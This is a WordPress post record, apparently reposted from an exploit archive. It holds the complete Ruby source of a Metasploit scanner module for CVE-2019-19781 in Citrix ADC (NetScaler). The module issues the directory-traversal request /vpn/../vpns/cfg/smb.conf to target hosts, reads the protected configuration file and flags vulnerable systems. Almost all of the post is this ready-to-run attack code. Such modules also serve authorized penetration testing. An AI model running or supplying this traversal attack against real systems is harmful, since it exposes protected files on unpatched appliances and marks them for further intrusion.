{"id":59341,"date":"2024-09-01T19:20:08","date_gmt":"2024-09-01T16:20:08","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181080\/citrix_dir_traversal.rb.txt"},"modified":"2024-09-01T19:20:08","modified_gmt":"2024-09-01T16:20:08","slug":"citrix-adc-netscaler-directory-traversal-scanner","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/citrix-adc-netscaler-directory-traversal-scanner\/","title":{"rendered":"Citrix ADC (NetScaler) Directory Traversal Scanner"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<\/p>\n<p>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Auxiliary::Scanner<br \/>include Msf::Auxiliary::Report<\/p>\n<p>def initialize(info = {})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Citrix ADC (NetScaler) Directory Traversal Scanner&#8217;,<br \/>&#8216;Description&#8217; =&gt; %{<br \/>This module exploits a directory traversal vulnerability (CVE-2019-19781) within Citrix ADC<br \/>(NetScaler). It requests the smb.conf file located in the \/vpns\/cfg directory by issuing the request<br \/>\/vpn\/..\/vpns\/cfg\/smb.conf. It then checks if the server is vulnerable by looking for the presence of<br \/>a &#8220;[global]&#8221; directive in smb.conf, which this file should always contain.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Mikhail Klyuchnikov&#8217;, # Discovery<br \/>&#8216;Erik Wynter&#8217;, # Module (@wyntererik)<br \/>&#8216;altonjx&#8217; # Module (@altonjx)<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2019-19781&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/web.archive.org\/web\/20200111095223\/https:\/\/support.citrix.com\/article\/CTX267027\/&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/swarm.ptsecurity.com\/remote-code-execution-in-citrix-adc\/&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2019-12-17&#8217;,<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;AKA&#8217; =&gt; [&#8216;Shitrix&#8217;]}<br \/>))<\/p>\n<p>register_options([<br \/>OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Base path&#8217;, &#8216;\/&#8217;]),<br \/>OptString.new(&#8216;PATH&#8217;, [true, &#8216;Traversal path&#8217;, &#8216;\/vpn\/..\/vpns\/cfg\/smb.conf&#8217;])<br \/>])<br \/>end<\/p>\n<p>def run_host(target_host)<br \/>turi = normalize_uri(target_uri.path, datastore[&#8216;PATH&#8217;])<\/p>\n<p>res = send_request_cgi(<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; turi<br \/>)<\/p>\n<p>unless res<br \/>print_error(&#8220;#{full_uri(turi)} &#8211; No response, target seems down.&#8221;)<\/p>\n<p>return Exploit::CheckCode::Unknown<br \/>end<\/p>\n<p>unless res.code == 200<br \/>print_error(&#8220;#{full_uri(turi)} &#8211; The target is not vulnerable to CVE-2019-19781.&#8221;)<br \/>vprint_error(&#8220;Obtained HTTP response code #{res.code} for #{full_uri(turi)}.&#8221;)<\/p>\n<p>return Exploit::CheckCode::Safe<br \/>end<\/p>\n<p>if turi.end_with?(&#8216;smb.conf&#8217;)<br \/>unless res.headers[&#8216;Content-Type&#8217;].starts_with?(&#8216;text\/plain&#8217;) &amp;&amp; res.body.match(\/\\[\\s*global\\s*\\]\/)<br \/>vprint_warning(&#8220;#{turi} does not contain \\&#8221;[global]\\&#8221; directive.&#8221;)<br \/>end<br \/>end<\/p>\n<p>print_good(&#8220;#{full_uri(turi)} &#8211; The target is vulnerable to CVE-2019-19781.&#8221;)<br \/>msg = &#8220;Obtained HTTP response code #{res.code} for #{full_uri(turi)}. &#8221; \\<br \/>&#8220;This means that access to #{turi} was obtained via directory traversal.&#8221;<br \/>vprint_good(msg)<\/p>\n<p>report_vuln(<br \/>host: target_host,<br \/>name: name,<br \/>refs: references,<br \/>info: msg<br \/>)<\/p>\n<p>Exploit::CheckCode::Vulnerable<br \/>end<\/p>\n<p>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliary include Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::Report def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Citrix ADC (NetScaler) Directory Traversal Scanner&#8217;,&#8216;Description&#8217; =&gt; %{This module exploits a directory traversal vulnerability (CVE-2019-19781) within Citrix ADC(NetScaler). It requests the smb.conf file located in the \/vpns\/cfg directory by issuing the request\/vpn\/..\/vpns\/cfg\/smb.conf. It &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59341","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59341","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59341"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59341\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59341"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59341"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59341"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}